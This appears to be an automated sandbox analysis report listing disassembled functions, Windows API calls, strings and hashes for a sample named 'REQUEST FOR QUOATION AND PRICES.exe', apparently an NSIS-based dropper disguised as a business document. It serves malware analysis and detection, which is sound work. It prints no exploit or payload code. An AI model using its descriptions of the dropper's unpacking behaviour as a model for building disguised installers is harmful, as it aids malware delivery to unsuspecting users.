Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

NUL, xrefs: 00405C12
p]B, xrefs: 00405C0D
peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC
%ls=%ls, xrefs: 00405C76

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 100022EB Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 134memorystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?), ref: 10002391
GlobalAlloc.KERNEL32(00000040,00000010), ref: 100023B2
CLSIDFromString.OLE32(?,00000000), ref: 100023BF
GlobalAlloc.KERNEL32(00000040), ref: 100023DD
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 100023F8
GlobalFree.KERNEL32(00000000), ref: 1000241A

Strings

@H3w, xrefs: 100023BF

Memory Dump Source

Source File: 00000005.00000002.1661666940.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.1661650069.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661681060.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.1661697008.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$Alloc$ByteCharFreeFromMultiStringWidelstrlen
String ID: @H3w
API String ID: 3579998418-4275297014
Opcode ID: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction ID: 896c08f96dc03187adf01b888d28386c50d9513e33e57f95a3092ffc5e904c0a
Opcode Fuzzy Hash: d06520f5c61e510f0831b34fc4ed5dc6ae45d33c03c026c0edd8301773c2f489
Instruction Fuzzy Hash: A3419FB4504706EFF324DF249C94A6A77E8FB443D0F11892DF98AC6199CB34AA94CB61

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,00000000,00403332,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403512), ref: 00406208

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040617F, 00406184
"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe", xrefs: 004061C2
*?|<>/":, xrefs: 004061D0

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"$*?|<>/":$C:\Users\user~1\AppData\Local\Temp\
API String ID: 589700163-3318446214
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll,?,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp, xrefs: 00402528
8, xrefs: 0040250C

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp$C:\Users\user~1\AppData\Local\Temp\nsz829B.tmp\System.dll
API String ID: 1453599865-2699020899
Opcode ID: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: c163f65ad7e3cc19a1ecb41abf68fb20e754719ac06291c3626fea40b4e8fc87
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(0002CDF3,00000064,0002E9CD), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction ID: 10fb19a6c4b2eae8d62923eb178f02f9fc5b3c6af7becd3ce095817841e91703
Opcode Fuzzy Hash: 37da5e6e22464c23d40ec4d31b3b8eabf55409bf9acffd0f2ef74a8860773cf4
Instruction Fuzzy Hash: 2901A130949220EBD7626B60AF1DAEA3B68EF01704F1445BBF901B11E0C6FC9D01CA9E

Function 00404A5E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404A79
GetMessagePos.USER32 ref: 00404A81
ScreenToClient.USER32(?,?), ref: 00404A9B
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404AAD
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404AD3

Strings

f, xrefs: 00404AAF

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction ID: cab112d5f89b67c13374b27971796476edbf79a01bfb7ffc6895eaaae0ed81f2
Opcode Fuzzy Hash: 06f6ebea5bc1d9fbd35e9f77c39338462eb0780e6261c6c1cca29060ed6e4b7a
Instruction Fuzzy Hash: 1C014C71E40219BADB00DB94DD85BFEBBB8AB55715F10012ABB11B61C0C7B4A9018BA5

Function 00402C7F Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402C9D
wsprintfW.USER32 ref: 00402CD1
SetWindowTextW.USER32(?,?), ref: 00402CE1
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402CF3

Strings

unpacking data: %d%%, xrefs: 00402CBF, 00402CCF
verifying installer: %d%%, xrefs: 00402CC6

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

